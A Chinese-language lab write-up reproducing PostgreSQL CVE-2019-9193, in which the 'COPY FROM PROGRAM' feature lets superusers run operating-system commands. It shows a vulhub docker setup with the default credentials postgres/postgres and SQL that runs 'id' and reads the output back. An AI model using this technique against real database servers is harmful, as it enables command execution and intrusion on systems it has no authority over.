简介
PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。
影响版本
9.3-11.2
漏洞概述
PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。
环境搭建
进入目录并启动环境
-
cd vulhub-master/postgres/CVE-2019-9193/
-
-
docker-compose up -d
环境启动后,将开启Postgres默认的5432端口,默认账号密码为postgres/postgres。
漏洞复现
首先连接到postgres中
psql --host 192.168.204.136 --username postgres
执行如下语句,FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中:
-
DROP
TABLE IF
EXISTS cmd_exec;
-
-
CREATE
TABLE cmd_exec(cmd_output text);
-
-
COPY cmd_exec
FROM PROGRAM
'id';
-
-
SELECT
*
FROM cmd_exec;
成功执行命令
修复建议
升级到安全版本